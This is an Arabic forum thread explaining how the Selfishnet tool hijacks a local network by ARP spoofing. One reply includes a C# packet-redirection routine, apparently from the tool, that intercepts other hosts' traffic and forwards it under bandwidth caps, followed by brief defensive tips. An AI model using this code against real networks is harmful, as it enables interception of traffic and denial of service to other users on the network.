[ سؤال ] كيف يعمل برنامج Selfishnet

تم تحميل الصفحة في 0,3231665 ثانية
كيف يعمل برنامج Selfishnet

y0usef

Beginner Developer
rankrank
إنضم
14 مارس 2013
المشاركات
258
الإعجابات
128
النقاط
43
الإقامة
دمشق
مرحبا اصدقائي
هل يعلم احدكم كيف يعمل برنامج Selfishnet ؟
هل عن طريق بروتوكول snmp او كيف !؟
اذا عن طريق بروتوكول snmp فيكفي ان اقوم بتغيير community name الخاصة بالراوتر ووبذلك امنع احد ان يستخدم البرنامج !!!
ارجو الافادة وشكرا لكم سلفا
 

Dr berhak

.:: المـُـراقـِــب العــــــامّ ::.
طاقم الإدارة
إنضم
18 أكتوبر 2013
المشاركات
8,174
الإعجابات
9,825
النقاط
173
يستخدم بروتوكول ARP
 

y0usef

Beginner Developer
rankrank
إنضم
14 مارس 2013
المشاركات
258
الإعجابات
128
النقاط
43
الإقامة
دمشق
يستخدم بروتوكول ARP
شكرا لك لكن هل برتوكول arp يستطيع ان يحدد حجم البيانات المرسلة والمستقبلة من ip معين على الشبكة ؟
اذا لا فمن هو المسؤول عن ذلك ؟
 

CRYSTALBOY

Beginner Developer
rank
إنضم
18 أغسطس 2010
المشاركات
40
الإعجابات
27
النقاط
18
البرنامج لا يقوم بمعرفة حجم البيانات المرسله و المستقبله من Ip
كل ما يقوم به هو ان يقوم بأرسال ARP Packet
وتحديد الـ default gateaway
هي الكمبيوتر الخاص بك
وبهذا انت تستقبل البيانات من الاجهزه الاخري وتحجب عنهم الانترنت
وبما انك انت المتحكم في الترافيك
يمكنك ان تفوت نسبه وتوقف نسبه وبهذا تتخكم بالسرعه
عن طريق timer
من هنا الكود الخاص بعمل redirect للباكيت


C#:
private void redirector()
        {
            byte[] array = null;
            packet_headers packet_headers = null;
            this.isRedirecting = true;
            byte[] array2 = new byte[6];
            byte[] array3 = new byte[4];
            byte[] array4 = new byte[4];
            PC router = this.pcList.getRouter();
            if (router != null)
            {
                this.routerMAC = router.mac.GetAddressBytes();
            }
            if (this.routerMAC == null)
            {
                MessageBox.Show("no router found to redirect packet");
                this.isRedirecting = false;
            }
            else
            {
                if (this.isRedirecting)
                {
                    do
                    {
                        if (this.pcapredirect.pcapnet_next_ex(out packet_headers, out array) != 0)
                        {
                            Array.Copy(array, 6, array2, 0, 6);
                            if (tools.areValuesEqual(array2, this.localMAC))
                            {
                                Array.Copy(array, 26, array3, 0, 4);
                                if (tools.areValuesEqual(array3, this.localIP))
                                {
                                    this.pcList.getLocalPC().nbPacketSentSinceLastReset += (int)packet_headers.caplen;
                                }
                            }
                            else if (tools.areValuesEqual(array2, this.routerMAC))
                            {
                                Array.Copy(array, 30, array4, 0, 4);
                                if (tools.areValuesEqual(array4, this.localIP))
                                {
                                    this.pcList.getLocalPC().nbPacketReceivedSinceLastReset += (int)packet_headers.caplen;
                                }
                                else
                                {
                                    PC pcfromIP = this.pcList.getPCFromIP(array4);
                                    if (pcfromIP != null)
                                    {
                                        int capDown = pcfromIP.capDown;
                                        if ((capDown == 0 || capDown > pcfromIP.nbPacketReceivedSinceLastReset) && pcfromIP.redirect)
                                        {
                                            Array.Copy(pcfromIP.mac.GetAddressBytes(), 0, array, 0, 6);
                                            Array.Copy(this.localMAC, 0, array, 6, 6);
                                            this.pcapredirect.pcapnet_sendpacket(array);
                                            pcfromIP.nbPacketReceivedSinceLastReset += (int)packet_headers.caplen;
                                        }
                                    }
                                }
                            }
                            else
                            {
                                Array.Copy(array, 30, array4, 0, 4);
                                if (!tools.areValuesEqual(array4, this.localIP))
                                {
                                    PC pcfromMac = this.pcList.getPCFromMac(array2);
                                    if (pcfromMac != null)
                                    {
                                        int capUp = pcfromMac.capUp;
                                        if ((capUp == 0 || capUp > pcfromMac.nbPacketSentSinceLastReset) && pcfromMac.redirect)
                                        {
                                            Array.Copy(this.routerMAC, 0, array, 0, 6);
                                            Array.Copy(this.localMAC, 0, array, 6, 6);
                                            this.pcapredirect.pcapnet_sendpacket(array);
                                            pcfromMac.nbPacketSentSinceLastReset += (int)packet_headers.caplen;
                                        }
                                    }
                                }
                            }
                        }
                    }
                    while (this.isRedirecting);
                }
                this.redirectorThreadTerminated.Set();
            }
        }
وهكذا

ويتم عمل reset وهكذا

وبالطبع لحماية الشبكه الخاصه بك عليك بعمل arp rate limiting

اذا كان حاسبك الشخص فـ firewall محترم جدير بحمايتك من arp
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل